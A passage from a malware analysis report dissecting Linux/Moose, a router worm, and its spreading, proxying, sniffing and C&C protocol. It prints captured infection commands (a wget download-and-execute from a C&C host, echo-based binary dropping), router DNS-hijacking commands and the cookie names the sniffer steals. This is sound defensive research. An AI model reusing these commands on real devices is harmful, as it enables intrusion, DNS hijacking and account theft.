can expect to find badly configured consumer routers. Dissecting Linux/Moose 4.4. Moose Taking Selfies Deep into Instagram The non-operator-related HTTP traffic we were able to observe was of the well-known Instagram social network. During our monitoring we were able to see more than 700 different Instagram accounts accessed from a single infected router over about a month. Accounts freshly created that we ve seen in the tunnels: When we checked the next day, the account had started to follow around 30-40 people: Dissecting Linux/Moose This is no isolated case. Both these accounts were seen in the HTTP traffic and then a few hours later when we checked them they were already following a similar number of accounts. It feels as if the operators understand there to be some threshold value that must not be reached too quickly. Looking more closely at one account, here is a Wireshark screenshot of the HTTP traffic. You can see the username in the highlighted Location header 4. Figure 8 Instagram Proxied HTTP Traffic After a few hours we have a user with 36 followers: Sharp-eyed readers will also notice the server s redirection to HTTPS ending our ability to monitor the content of the network traffic Dissecting Linux/Moose Who is he following? We picked an account at random. Carefully avoiding accounts with pictures that would require some blurring we ve hit an account with surprisingly many followers considering that it has seven posts and follows only seven accounts: Dissecting Linux/Moose After one week it got better: We have also found accounts that are following many similar accounts: Dissecting Linux/Moose Like this one selling Facebook likes: By looking at the tunnel activity we were able to witness many instances of fraudulent social network activity. It seems that people are willing to pay for this, so it is understandable that criminals will try to leverage it. 4.5. Multiple trails in the Moose yard Alternative Attack Scenarios Looking purely at the capabilities of Moose, several attack scenarios can be extrapolated. However due to the complexity of monitoring this threat most of them couldn t be confirmed. We will quickly explore the more interesting ones here. Distributed Denial of Service (DDoS) attacks Like most botnets, DDoS capability is a possibility. In this case there is nothing built into the malware itself that is related to DDoS but the generic SOCKS proxy implementation allows it. However it doesn t seem realistic to waste bandwidth through proxies instead of performing direct attacks. Network exploration Targeted network exploration and eavesdropping is definitely possible with Moose due to its NAT traversal capabilities and its integrated network sniffer, which is configured by a C&C server. The operator could tweak and monitor more closely one infection based on the IP address of the infection if it were affiliated with a government or a bank, for instance. Dissecting Linux/Moose Reconnaissance then DNS Hijacking One technical limitation of Moose is that it can only perform its DNS hijacking payload on victims' routers during infection. However this is not enabled in the default C&C configuration5 and so we wondered how it could be used. Here is a credible attack that the operator could launch to leverage several pieces of Moose functionality and that would enable a reinfection of victims in which their DNS would get hijacked. Note This plan requires knowledge about the malware that hasn t been covered yet. Some of the missing pieces will be explained further along. Infect a few network devices within close range, such as badly configured consumer routers behind the same ISP 2. Sniffer is activated and waits for HTTP Cookies 3. Credible browsing activity occurs and operator receives all the cookies 4. Once confirmed to be an interesting target, configuration from the C&C changes: testing for infected host before going to Telnet is disabled, DNS hijacking is enabled and scanner threads are rebalanced to favor the infection of closely related IP addresses instead of random ones 5. Reinfection will happen as the scanner reinfect hosts already infected (due to the disabled check). During the reinfection the rogue DNS IP addresses will be put in place. 6. Users behind compromised routers will have their DNS hijacked At this point the rogue DNS servers can point legitimate sites to phishing sites, inject malware in downloaded files, or perform man-in-the-middle attacks that would prevent upgrades to HTTPS by websites. Which is good for them since they don t need to give out the malicious DNS IP address in the configuration information. Something we would have definitely explored if it were available. Dissecting Linux/Moose 5. MOOSE DNA Malware Analysis Linux/Moose is a statically linked ELF binary without debugging symbols. It uses Clibc as its C library. It relies heavily on multithreading with more than 30 running simultaneously during a usual infection. $ file elan2 elan2: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, stripped We based our analysis on the MIPS variants of the threat. The screen captures in this report are taken from this architecture. We quickly analyzed the ARM variant to make sure that this is the same threat and track changes through time, but that s all. Here is a diagram of the various components of the threat that we will develop in the following sections. action Contact configuration C&C server Raw socket threads Eavesdrop network recvfrom Contact report C&C server Connect Bruteforce Propagate LAN Propagate Infect Contact report C&C server Contact report C&C server Contact relay C&C server NAT travelsal Connect Propagate WAN Bruteforce Propagate Infect Contact report C&C server One hour Server TCP: 10073 Listen NAT traversal HTTP Proxy Forward traffic Figure 9 Verify whitelist Network I/O Moose Components Server worker thread SOCKS Proxy Contact report C&C server Dissecting Linux/Moose String obfuscation with C&C servers Before we move on to describe the individual components, there is one thing that is common between many of the components: The obfuscation that is applied to the strings sent through the network. Strings obfuscated with this simple algorithm can be made readable with the following Python snippet: def decrypt_cnc_msg(ct): Decrypt strings ct: bytearray of the ciphertext returns bytearray of the plaintext # seed k = 0xff for i in reversed(range(len(ct))): # XOR with previous k = ct[i] = ct[i] ^ k return ct 5.1. Moose Reproduction Infection Vector We classified Moose as a worm since it attempts to replicate automatically. In this section we will describe how its spreading mechanism works. Note Several parameters provided by the server configuration packet are of interest to understand the spreading behavior. The parameter names have been made up based on the behaviors they modified. The full list and details of these parameters is available in the configuration C&C network protocol section. After configuration, three sets of threads are created that are related to the spreading mechanism: threads scanning random IP addresses, threads scanning closely related IP addresses, and threads created per network interface to scan these otherwise unreachable networks. These threads share the same code, which we will refer to as a scanner thread. The scanner thread s behavior is altered by being passed a different configuration. Scanner threads and configuration Interestingly the number of threads per set is defined by the configuration C&C server. cnccfg_nb_thdscan_local defines how many threads should scan for IPs closely related to the external IP. cnccfg_nb_thdscan_ext defines how many threads should scan using random IPs. Lastly, if cnccfg_flag_ scanner_sniffer is set, then a scanner thread will be launched per additional network interface on the system something we cover later. During the observation period, typical configuration values seen coming from the configuration C&C server were: 10 threads scanning random IPs 20 threads scanning closely-related IPs 1 thread per network interface scanning local-area networks usually protected by the routers themselves Dissecting Linux/Moose Scanner threads The three sets of threads are each bootstrapped a bit differently. One set is scanning purely random IP addresses, another one is scanning for random IP addresses that are in the same /15 subnet (CIDR) as the external IP address of the infected device, and the last one is incrementally scanning all the IPs on the network interfaces it found up to the interface s broadcast address. Random scan Internet 13.3.3.7/15 13.3.3.7 Closely-related IP addresses ( random scan in the same /15 of the router s external IP address ) 192.168.1.0/24 10.13.3.0/24 Other interfaces ( linear scan from .0 to .255 ) Figure 10 Moose Scanner Behavior The scanner performs the following operations on each IP. First, it checks going to see if it can connect on TCP port 10073. If it can perform a full TCP handshake, it will disconnect right away and considers that the host is already infected and will report it as such to the report C&C server. Dissecting Linux/Moose A Moose Encounter An Infected Host (Peer) was Found Unlike the other configuration C&C server interactions, which happen using a custom binary protocol on port 81, this exchange is done in HTTP on that same port. Here is an example that was captured: Figure 11 Reporting a Peer Found to the Configuration C&C Server Server headers The server headers here are interesting. This Apache server version hasn been released (and probably won t be for another century). Furthermore, to the best of our knowledge, Redhat has never been capitalized "RedHat" in Apache Server headers. These leads us to think that what we have here is a custom server that is intended to behave like an HTTP server when sent anything that looks like GET /xx/6. There are three fields of interest here. They are the fields set in the format string used by the malware: GET /xx/rnde.php?p=%d&f=%d&m=%d HTTP/1.1\r\n Host: www.getcool.com\r\n Connection: Keep-Alive\r\n \r\n Note The www.getcool.com hostname is unrelated and an attempt to mislead analysis. The three decimal format placeholders (%d) depicted above are: The obfuscated IP address The endianness of the platform reporting (0 for big-endian and 1 for little-endian) The type of scan that found the peer (0 for close-scan and 1 for Internet random scan) Which is also in the URL given on infection to download the malware Dissecting Linux/Moose The IP address is lightly obfuscated by being XORed with a fixed key and can be decrypted using the following Python snippet (where p is the p parameter of the GET): import socket, struct p = -1482289528 print(socket.inet_ntoa(struct.pack("i", (p ^ 0x7890ABCD)))) Back to the scanner thread description: if there is no connection possible to TCP port 10073 (no proper handshake) it tries to connect to the Telnet service of that IP (TCP port 23). It will attempt to bruteforce the login prompt (if any) with a username and password combination list it received from the configuration C&C server. On a successful guess, it will report the intrusion to the report C&C server, then attempt to get a command prompt on the device. Otherwise it will move on to the next IP address. The Moose is In Telnet Access The packet to report a successful connection has the following format: Table 1. Report Telnet login protocol Name Size Description Version Integer (4 bytes) Version of the malware Message type Integer (4 bytes) Set to 14 meaning report successful Telnet login IP address Integer (4 bytes) IP address of the victim Unused 28 bytes Unused Byte ordering Unless otherwise noted, all the network protocol s Integers are stored in little-endian byte ordering, except for IP addresses, which are stored their native network order (big-endian). Figure 12 Report Telnet login example The reply from the server is the same packet with the version field repurposed. Dissecting Linux/Moose Table 2. Reply to Telnet login report Name Size Description Hijack DNS Integer (4 bytes) If bit 1 is set to 1 and cnccfg_flag_hijackdns is set, this instructs the malware to attempt to hijack the DNS servers of the victim. This is covered later. Message type Integer (4 bytes) Set to 14 (sent back) IP address Integer (4 bytes) IP address of the victim (sent back) Unused 28 bytes Unused Infection mechanism After a successful Telnet login, the infection process will start. It can be roughly summarized with the diagram and the steps below. Linux/Moose infected Victim Report C&C server Obfuscated commands Commmands sent to victim via telnet Victim info Figure 13 Unscramble commands Moose Infection Mechanism Using the Telnet connection, Moose will gather information on the victim Victim information will be sent to the report C&C server using a binary protocol (1) The Report C&C server will return obfuscated commands to the Moose infected router (2) Moose will unscramble the commands (3) and send them to the victim through the Telnet connection (4) The commands are usually a download and execute procedure. Depending on the victim output the steps will be repeated until a "Status OK" string is received from the victim meaning the malware was installed and started or the report C&C server stops sending commands. If you are interested in the details, read-on, otherwise feel free to skip to the next section. Dissecting Linux/Moose First stage After the C&C reply, Moose continues with infection, executing commands on the victim device. Here is captured interaction of the successful first stage of the infection process performed by the scanning worm. Note that this is all automated and not performed interactively by the operator. > sh BusyBox v1.00 (2013.12.12-03:56+0000) Built-in shell (msh) Enter 'help' for a list of built-in commands. # ps PID Uid VmSize Stat Command 1 admin 468 S init [...] # echo -n -e "H3lL0WoRlD" H3lL0WoRlD# chmod BusyBox v1.00 (2013.12.12-03:56+0000) multi-call binary Usage: chmod [-R] MODE[,MODE]... FILE... Each MODE is one or more of the letters ugoa, one of the symbols +-= and one or more of the letters rwxst. Options: -R Changes files and directories recursively. # cat /proc/cpuinfo [...] system type : MIPS Malta processor : 0 cpu model : MIPS 24Kc V0.0 FPU V0.0 [...] A couple of things are done here: Obtaining an interactive shell on the target victim Testing whether the echo command works Looking at the process list (ps) for itself and for competing botnets Making sure chmod is present Gathering the contents of /proc/cpuinfo At this point, Moose has not yet infected its new victim. It will then send a message to the report C&C server with what it has learned so far about the target victim: Table 3. Report shell access protocol Name Size Description Version Integer (4 bytes) Version of the malware Message type Integer (4 bytes) Set to 15, meaning console access was obtained IP address Integer (4 bytes) IP address of the victim User/pass entry Integer (4 bytes) The offset of the username and password used to gain entry to the router Dissecting Linux/Moose Name Size Description Victim details Bit field (4 bytes) Details about the victim. See infect_state enumeration to see what information it holds. Unused 20 bytes Unused CPU Model size Integer (4 bytes) Size of the CPU Model string CPU Model CPU Model size bytes The obfuscated "cpu model:" line out of /proc/cpuinfo Processor size Integer (4 bytes) Size of the Processor string Processor Processor size bytes The obfuscated "processor:" line out of /proc/cpuinfo Bit field about the infection state enum infect_state { NO_CHMOD = (1 << 0), // set if chmod command is not present NO_ECHO = (1 << 1), // set if echo command is not present FOUND_NEAR_SCAN = (1 << 2), // set if victim was found during a near /15 scan PS_BLKLST_HIT = (1 << 7), // set if a process-to-kill is found in the list // of running processes The report C&C server responds with obfuscated commands to execute on the victim: Table 4. Report shell access response Name Size Description Command size Integer (4 bytes) Size of the command string Command command size bytes The obfuscated command to be sent to the victim repeat Integer (4 bytes) + command size bytes Zero or more commands until the terminator below Terminator Integer (4 bytes) Always 0. Ends the sequence of commands Second stage We now enter the second stage of infection. Each command is decrypted and executed on the victim via Telnet. Typically, this consists of a download and execute but the architecture is flexible and would allow any arbitrary commands to be executed. Dissecting Linux/Moose ve witnessed two main class of commands sent to perform the infection. The first one is a classic download and execute using wget: # cd /var # rm ./elan2 rm: cannot remove `./elan2': No such file or directory # wget http://77.247.177.36:81/xx/atheros_mips/elan2 Connecting to 77.247.177.36[77.247.177.36]:81 200 OK, File Get Success # chmod +x ./elan2 # ./elan2 Sys init: OK Status: OK The second technique is encoding the binary into several echo commands that are executed on the victim and redirecting output into a file that is later executed: # cp /bin/ls /dev/elan2 # echo -n -e "\x7f\x45\x4c\x46\x01\x01\x01\x61\x00\x00\x00\x00\x00\x00\x00\x00\ > \x02\x00\x28\x00\x01\x00\x00\x00\x90\x81\x00\x00\x34\x00\x00\x00\xb4\xe9\x01\ > \x00\x02\x00\x00\x00\x34\x00\x20\x00\x03\x00\x28\x00\x0d\x00" > /dev/elan2 # echo -n -e "\x9d\xe8\xbc\x1d\x03\x00\x44\x90\x02\x00\x94\xd8\x02\x00\xa4\x1d\ > \x03\x00\x0d\xc0\xa0\xe1\x00\xd8\x2d\xe9\x04\xb0\x4c\xe2\xa4\xd0\x4d\xe2\xa8\ > \x00\x0b\xe5\x01\x30\xa0\xe1\xac\x30\x4b\xe5\x01\x30\xa0\xe3" >> /dev/elan2 # echo -n -e "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5c\xe9\x01\x00\x56\x00\ > \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" >> / dev/elan2 # chmod +x /dev/elan2 # /dev/elan2 Sys init: OK Status: OK No matter the method, by that point the victim has been infected: it will reach the configuration C&C server, obtain its configuration parameters, and start its nefarious activities. This two-stage mechanism allows for the report C&C server to specify a URL to an ELF binary that will match the architecture and environment found by the various checks it performed. Plus, it enables the operators to add support for new target platforms without having to upgrade their botnet but only their distribution methods on the report C&C server. Moose s Excentricity Optional Behaviors We just described the most common scanning behavior, but its configuration can alter how it is performed. Here a summary of some of those configuration flags and their effects: Table 5. Partial List of Moose's Configuration Flags Configuration parameter Description cnccfg_flag_scanner_sniffer If this flag is disabled there will be no per-interface scanner cnccfg_flag_nolocalscan Disables the closely related IP address network scan cnccfg_flag_noextscan Disables the random IP address scan Dissecting Linux/Moose Configuration parameter Description cnccfg_flag_test10073 t try to connect to TCP port 10073 first. Try Telnet port directly. cnccfg_flag_share_peers Do not communicate to the report C&C server when infected peers are found (through TCP on 10073) Moose Grand Theft Auto DNS Hijacking Lastly three parameters require more explanation cnccfg_flag_hijackdns, cnccfg_hijackdns1_ip and cnccfg_hijackdns2_ip. If the first parameter is enabled, it will run the following commands on the Telnet console before trying to obtain a shell. The %s %s is replaced with the two DNS IP addresses provided in the configuration. What is DNS Hijacking? DNS Hijacking consists of changing the DNS servers used by a victim in order to perform other attacks like phishing or man-in-the-middle. DNS servers do the domain name to IP address translation. A malicious DNS server can change (or hijack) that translation so that any legitimate domain name will resolve to an IP address of the attackers' choice. This means that traffic intended for a certain specified address may be redirected to another, entirely unrelated address. set lan dhcp server set lan dhcpdns %s %s dns config static %s %s save The code attempts to replace the legitimate DNS servers used by the target router with malicious servers. However there are a lot of different text-based user interfaces for such devices. This probably explains why it is attempting to do so using more than one method. Quick googling reveals that at least some of TP-Link, Zyxel, Zhone and Netgear models support one of these commands. The code is not concerned with error-handling, it will resume execution after the DNS hijacking attempt regardless of any errors encountered. This method of scanning is a straightforward yet effective way of finding new targets to copromise. Going for IP addresses nearby is clever and probably yields to higher infection rate because it might be scanning past firewalls as we will cover in the next section. 5.2. Going Deep in the Tundra Spreading Past Firewalls One of the most interesting aspects of this threat is its ability to go deep inside networks, trying hard to spread past firewalls. Two different mechanisms will be at play here: first, a spreading mechanism that understands the realities of large network firewall configurations and second, support for custom NAT traversal. This section will describe both behaviors. Dissecting Linux/Moose Scanning close to home As we mentioned earlier, the configuration C&C server returns the public IP address it saw when it was contacted by the infected router. This IP address is then used as a basis for near-home scanning on the Telnet port. The IP addresses reached this way are random, but all inside the same /15 network of the infected router s public IP. This can effectively bypass firewalls on the perimeter and allow the worm to spread further copies of itself. misconfigured consumer router Internet Same provider network misconfigured firewall misconfigured consumer router Figure 14 misconfigured consumer router misconfigured consumer router Scan from the Internet or near home The above diagram illustrates why the operators focus more on the near home scanning. Black lines represent network connectivity and yellow arrows represent network interactions. Here we highlighted: An infected router trying to spread from across the Internet can t get past the firewall 2. An infected router able to propagate past a badly firewalled router that is exposing its Telnet service to the whole Internet 3. How, due to the near home scan, routers behind the same network have a greater chance of being quickly found and infected if the firewall is allowing Telnet from the same network. Dissecting Linux/Moose During our monitoring of an infected device we saw that Telnet access was 3 times more successful when scanning for near-home IP addresses than when scanning random IP addresses on the Internet. We think this difference is explained by NAT and misconfigured firewalls. This doesn t surprise us given the complexity of modern networks and the amount of firewall rules they need. Furthermore, a study of firewall rules by Avishai Wool demonstrated a correlation between the complexity and volume of firewall rules and the number of errors made in their configuration badly lockeddown Telnet access being one of the errors mentioned in the study. Additionally, the worm will launch an extra scanner thread per IP interface present on the system, carefully avoiding /32 IPs (IP aliases) and loopback interfaces (like 127.0.0.1): Figure 15 Netmask check Figure 16 Loopback check This enables the worm to spread inside Local Area Networks (LANs) that are not normally accessible from the Internet due to the use of firewalls and network address translation (NAT). On successful infection, the newly-compromised machine will spawn scanners on its own internal IP interfaces and thus go deeper inside the private network. This type of automated network pivoting is very interesting for a couple of reasons: Some networks assume perimeter that firewalls are enough protection and often tolerate the use of weak credentials internally Routers are the highly connected vertices of the Internet graph. Access to them means access to previously unreachable vertices. All sort of networks could be revealed to the operators: 3rd party vendors, business partners, private clouds, extranets, etc. Network provider equipment has been traditionally managed via Telnet Consumer devices in-the-field tend to reset to factory defaults, which render them vulnerable even if provider had applied due diligence by changing default credentials Dissecting Linux/Moose Custom NAT traversal Another interesting capability related to network penetration is the custom NAT traversal implementation. It could be categorized as a simple implementation of the concepts behind the Session Traversal Utilities for NAT (STUN) and Traversal Using Relays around NAT (TURN) standards. The configuration given by the configuration C&C server to the infected host provides both its public IP address and the address of a system that is going to be used as a relay (relay C&C server). During our analysis of the threat the relay C&C IP address was always the same: 93.190.140.221. The configuration values affecting the behavior of the NAT traversal are the following: Table 6. Moose Configuration Values Affecting the Behavior of the NAT Traversal Configuration parameter Description cnccfg_flag_nattraversal NAT traversal is or is not enabled cnccfg_relaycnc_ip Relay C&C IP address cnccfg_relaycnc_sleep Number of seconds to sleep in case of protocol failure with the relay C&C server cnccfg_relaycnc_timeout Number of seconds to wait for data from the relay C&C server. Default: 300 We will explain where these values come from when we will describe the configuration C&C network protocol further along. If NAT traversal is enabled, two threads are created at start-up that are dedicated to reach the relay C&C server. The relay is queried at short intervals (defined by cnccfg_relaycnc_sleep) for anything to proxy through the infected host. The server replies either with one IP address and port (for outreach) or multiple pairs of IP addresses and ports (for relay). First the infected device reaches out to the relay with this hardcoded packet: 18 00 00 00 The server responds with the following structure: Table 7. Moose relay C&C server response Name Size Description Command Short (2 bytes) Command given to the infected host to execute. See table below. Destination port Short (2 bytes) Tunnel destination port (network order) Destination IP address Integer (4 bytes) Tunnel destination IP address (network order) Dissecting Linux/Moose Table 8. Moose NAT traversal supported commands Command Action 0x0016 Sleep 0x0017 Multiple tunnel 7 Anything else TCP tunnel is created between relay C&C server and destination IP address and port For example: 00 00 00 50 c0 a8 01 01 \-1-/ \-2-/ \----3----/ Mode requested by relay C&C server. ex: TCP Tunnel 2. Tunnel destination port (network order). ex: 80 3. Tunnel destination IP address (network order). ex: 192.168.1.1 The infected host will then connect on the tunnel destination it has received. Upon successful connection, it will hand over the two sockets to a thread dedicated to move the data back and forth between the tunnel destination and the relay C&C server. Figure 17 NAT traversal tunnel in action The multiple tunnel packet format varies from the simple TCP tunnel. Due to time constraints it was not documented. Interested readers should look at virtual address 0x405A4C of the bfc2a99450977dc7ba2ec0879fb17c612e248ece sample. Dissecting Linux/Moose This way, even if a host is unreachable from the Internet because of firewalls or NAT, the operators can still use the infected host. During our monitoring of the threat, we saw tunnels being made to reach social networks. However, most of the time, the server was seen to respond with a TCP reset (RST) and sometimes sleep commands. 5.2. Moose Crossing Proxy Service One of the first thing Linux/Moose does is to start listening on TCP port 10073 for incoming connections. As was previously discussed, this server is used by the bot to assess whether a system is infected. When some Linux/Moose scanner thread reaches an opened 10073 port, it will result in a TCP handshake without a data payload. However when we look at the code, we find that a limited number of IP addresses are allowed through: Figure 18 Moose Whitelist Validation Assembly The is_in_whitelist function makes sure that the source IP address of the connection is in a list of IP address given by the configuration C&C server earlier. If it is, then the socket and some configuration is passed to a thread that will handle the connection. Note The whitelist These are the only IP addresses allowed to interact with the malware. According to our monitoring, the addresses in the list haven t changed in months but it will likely be modified after the operators become aware of this report. These servers could be either operator-owned or compromised. The current whitelist of IP addresses is available in the appendix sections under Indicators of Compromise (IOC). The presence of a whitelist and the fallback behavior of closing the socket after a successful TCP handshake implies that we can t enumerate infected hosts by scanning the whole Internet on port 10073. Dissecting Linux/Moose Proxy Server Worker The proxy server worker thread processes the connection from a whitelisted IP address. Upon connection the server will read a single byte. Depending on that command byte, one of four things can happen: Table 9. Proxy Server Worker Commands First byte Proxy technique 0x04 SOCKS 4 0x05 SOCKS 5 I, i, p, P, g, G, c, C HTTP Proxy (with HTTPS support) Otherwise Connection is closed These are all classic protocols to use when one wants to have Internet traffic appear as if it was originating from the infected device. The worm uses this approach to leverage the good IP address reputation of big internet service providers (ISP) clients with regards to casual browsing like viewing ads, send emails or interact with social networks. Doing any of these activities in bulk from a few data-center IP addresses would draw unwanted attention. Dissecting Linux/Moose SOCKS 4 Proxy The implementation of the SOCKS 4 proxy is according to specifications. It enables the establishment of a TCP tunnel from the infected server to a host specified by the connecting party. After the initial handshake, traffic is sent transparently back and forth between the client of the infected service and the specified host. Figure 19 Example of a SOCKS 4 tunnel Here you can see the SOCKS exchange (1) with the tunnel destination information. Once the infected host replied that the connection is successful (0x5a) then the client (botnet operator) sends its HTTP request (2) to have it proxied through the infected machine. The infected host will finally return the response it received from the tunnel destination (3). In this case, it is a request to upgrade to HTTPS via a Location header. This has been by far the most active protocol while we have been monitoring. SOCKS 5 Proxy Very similar to SOCKS 4, SOCKS 5 is a protocol to allow TCP tunnels to be created between the server client and an arbitrary host. The malware s implementation is incomplete and only supports Dissecting Linux/Moose the "No authentication" authentication method. This partial support is likely to be enough for the operators since they already have the whitelist mechanism in place to prevent unwanted hosts from accessing the malware. We believe it was implemented in order to support a maximum number of client applications. HTTP Proxy The HTTP proxy is a basic yet complete HTTP/1.1 proxy. It looks at the HTTP headers, resolves the destination host, connects to it and sends the data back to the client. It will also honor the CONNECT method if it is present enabling HTTPS to be proxied through. Figure 20 Looking for CONNECT method Whichever proxy technique is used, anything that tries to deal with destination TCP ports 25 (SMTP), 465 (STMPS) or 587 (Submission) will require a special flag to be set in the whitelist configuration sent by the configuration C&C server. Most of the whitelisted server have this flag turned off. The mechanisms described above allow the botnet operator to leverage the good IP reputation of the infected devices in a very lightweight, flexible and inconspicuous manner. 5.4. Moose s Sense of Smell Sniffing Capabilites Linux/Moose is able to eavesdrop on traffic going through affected devices. This is a particularly interesting capability considering that routers are often forward all sorts of traffic. This section will describe this behavior. Enabling, this functionality requires two different configuration flags to be set: cnccfg_flag_ scanner_sniffer and cnccfg_flag_thd_sniffer. When set, these will spawn a sniffer thread on all non-loopback interfaces that have received at least 101 packets. This check is done in order to avoid creating threads for interfaces that will not carry potentially interesting traffic. Dissecting Linux/Moose The thread dedicated to eavesdropping is rather simple. It creates a raw socket, sets the interface in promiscuous mode, then loops on a recvfrom as depicted below. Figure 21 Sniffing Network Traffic In order to avoid doing too much work, only TCP packets are inspected. They are searched for strings that were sent by the configuration C&C server as snfcfg__needle in the network protocol analysis detailed later. Currently the network sniffers are configured to search for the following strings: twll= twid= LOGIN_INFO= c_user= ds_user_id= SAPISID= APISID= PLAY_ACTIVE_ACCOUNT= Dissecting Linux/Moose As previously mentioned, these are the HTTP cookies used by popular social network sites. Once a match is found, the whole packet including its Ethernet, IP, TCP headers and payload is sent, obfuscated, to the report C&C server. The exact format is described below. Table 10. Report sniffed packet Name Size Description Version Integer (4 bytes) Version of the malware Message type Integer (4 bytes) Set to 20 meaning the sniffer found a string it was looking for in the network traffic Packet size Integer (4 bytes) Size of the sniffed packet Unused 28 bytes Unused Packet Packet size bytes Encrypted raw packet containing the string of interest The reply packet is: Table 11. Response to a report sniffed packet Name Size Description Unknown field Integer (4 bytes) Usage unknown. Message type Integer (4 bytes) Same as in the request (20) Packet size Integer (4 bytes) Same as in the request Unused 28 bytes Unused This mechanism is very interesting. It is lightweight enough to run on small embedded devices and yet it gives a lot of contextual information to the operators to do all sort of mischief by stealing important data. 5.5. Competitive Moose Cleaning other Malware Moose is a combative animal. Every hour, it goes through every process entry under /proc// and searches thoroughly through the cmdline file. cmdline holds the process original name, and any arguments given to it at startup, separated by null bytes (0x00). Going through this list, it will send a kill signal to any process that matches any of the blacklisted strings. This blacklist, as opposed to many of the other characteristics of this malware, is hardcoded in the binary. This function requires a configuration flag to be set: cnccfg_flag_killprocess. During our monitoring of the threat s traffic this flag was always on. Here is the blacklist: --scrypt stratum+tcp:// cmd.so /Challenge /.usb2 /.scan /.ipt Dissecting Linux/Moose All these entries are related to digital currency mining operations something performed by other embedded threats. Killing these processes is probably done to make sure that all of the limited resources of the system are available to Linux/Moose. The cmd.so string seems specific to the Synology Disk Miner. /.usb2, /.scan and ./ipt all lead to the same ARM Linux miner worm. Most of these other worms also leverage weak or default credentials, so it makes sense that they try to get rid of each other. 5.6. Moose Communication Configuration C&C Server Protocol We are giving a very detailed description of the network protocol to enable affected organizations to apply this knowledge to their defense mechanism. The operators of Linux/Moose can recompile and modify binaries to avoid detection but modifying their network protocol takes more time, which is why we share this information in the hopes of negatively affecting their operation. Below is the protocol described in text aimed at describing the components' interactions. To deobfuscate quickly the traffic that was captured, we refer you to our malware-research repository on Github where we added tshark commands and Python code to see the traffic described below. There are two typical exchanges with the configuration C&C server. One is done every hour and one is done every four hours. The only difference between the two exchanges is that they update different variables in the client. However almost all of the data is still sent by the C&C. The only difference is that the username and password list used for bruteforce attacks is omitted in the hourly run. Here is what a configuration exchange with the configuration C&C server looks like: Figure 22 Capture of a Configuration Exchange with C&C Dissecting Linux/Moose The structure of the data sent to the configuration C&C server is the following: Table 12. Moose requests to configuration C&C server Name Size Description Version Integer (4 bytes) Version of the malware Message type Integer (4 bytes) Set to 1 meaning bot configuration Loop Count Integer (4 bytes) Number of times the main loop ran. Indicates the age of the infection. Local scans Integer (4 bytes) The number of IP addresses that was scanned in near-home mode External scans Integer (4 bytes) The number of IP addresses that was scanned in random mode Per-interface scans Integer (4 bytes) The number of IP addresses that was scanned in per-interface mode Killed processes Integer (4 bytes) The number of killed processes Bot details Bit field (4 bytes) More information about the bot state. See cnc_request_flags enumeration to see what information it holds. Unused 8 bytes Unused Bit field about the bot details enum cnc_request_flags { BRUTEFORCE_LIST = (1 << 0), WRITE_ACCESS = (1 << 1), TIME_PROBLEM = (1 << 7), // Set if bot wants the username and password list // Set if filesystem is writable. Deprecated. // Set if time syscall returned 0 or an error. // New in v31. The server replies with the configuration for the malware. It is composed of independent blocks of configuration information with some being optional. The high-level protocol takes the following form: Table 13. Moose configuration C&C server response Name Size Description Header 44 bytes Header with bot configuration information Bruteforce list size Integer (4 bytes) Optional field. Size of the username and password list used to compromise other devices Bruteforce list Bruteforce list size bytes Optional field. Encrypted username and password list used to compromise other devices. It is requested by the bot every 4 hours. Whitelist size Integer (4 bytes) Size of the whitelist of IPs allowed to contact the proxy service on port 10073. Whitelist Whitelist size x 8 bytes The whitelist Dissecting Linux/Moose Name Size Description Sniffer configuration size Integer (4 bytes) Optional field. Number of configuration entries given to the eavesdrop module. Sniffer configuration Variable size Optional field. Configuration given to the eavesdrop module. Table 14. Moose header configuration C&C server response Name Size Description External IP address Integer (4 bytes) External IP address of the infected device (as seen by the C&C) Number of local scanner threads Integer (4 bytes) Number of threads that will perform closely related IP address scan Number of remote scanner threads Integer (4 bytes) Number of threads that will perform random IP address scan Additional configuration Bit field (4 bytes) More configuration on/off switches packed into a bit field. Expanded in cnc_config_flags enum below. Proxy max clients Integer (4 bytes) Maximum number of simultaneous proxy requests accepted on port 10073. Default: 20 Relay C&C Sleep Integer (4 bytes) Number of seconds to sleep in case of protocol failure with the relay C&C server Report C&C server IP address Integer (4 bytes) IP address to use as the report C&C server Relay C&C server IP address Integer (4 bytes) IP address to use as the relay C&C server Relay C&C server timeout Integer (4 bytes) Number of seconds to wait for data from the relay C&C server. Default: 300 DNS server IP address 1 Integer (4 bytes) If DNS Hijacking is enabled, this holds the first DNS server IP address DNS server IP address 2 Integer (4 bytes) If DNS Hijacking is enabled, this holds the second DNS server IP address Dissecting Linux/Moose Where these flags can be enabled or not in the additional configuration field: enum cnc_config_flags { SCANNER_SNIFFER = (1 << 0), // If set, additional scanner and sniffer threads // are created per network interface NOLOCALSCAN = (1 << 1), // If set, no closely related IPs scan is performed NOEXTSCAN = (1 << 2), // If set, no random IPs scan is performed TEST_10073 = (1 << 3), // If set, infected peer detection is enabled NATTRAVERSAL = (1 << 4), // If set, threads dedicated to NAT Traversal are // created (only once) RECONTACT_CNC = (1 << 5), // If set, will recontact the configuration C&C // server shortly (instead of 4hrs) HIJACKDNS = (1 << 6), // If set, modify the DNS configuration of victims // on new infections THD_SNIFFER = (1 << 7), // If set, the eavesdrop component is activated KILLPROCESS = (1 << 10), // If set, will kill competing malware processes SHARE_PEERS = (1 << 11), // If set, will share found peers to report // C&C server Each item of the whitelist is sent in the following format. The number of entries is the previously described whitelist size. Table 15. Moose whitelist item Name Size Description IP address Integer (4 bytes) IP address allowed to connect on proxy service on TCP port 10073 Email Integer (4 bytes) If bit 1 of this field is set to 1 then the server is also allowed to use destination ports 25, 465 or 587 (standard email ports). Each item of the sniffer configuration is sent in the following format. The number of entries is the previously described sniffer configuration size. Table 16. Moose sniffer configuration item Name Size Description Sniffer configuration item size Integer (4 bytes) Size of the configuration entry Sniffer configuration Sniffer configuration item size bytes Encrypted string pattern that the sniffer thread looks for in network traffic. Here is the example configuration shown in the screenshot after being parsed by our Python tool (username and password list skipped for brevity): Dissecting Linux/Moose An example request to the configuration C&C server $ ./parse_cnc_request.py cfgcnc.raw {'cnc_request_flags.BRUTEFORCE_LIST': True, 'cnc_request_flags.WRITE_ACCESS': True, 'loop_count': 453, 'msg_type': 1, 'msg_type_decoded': 'REQUEST_CONFIG', 'nb_extscans': 294, 'nb_ifscans': 9, 'nb_killed': 0, 'nb_localscans': 571, 'version': 28} An example response from 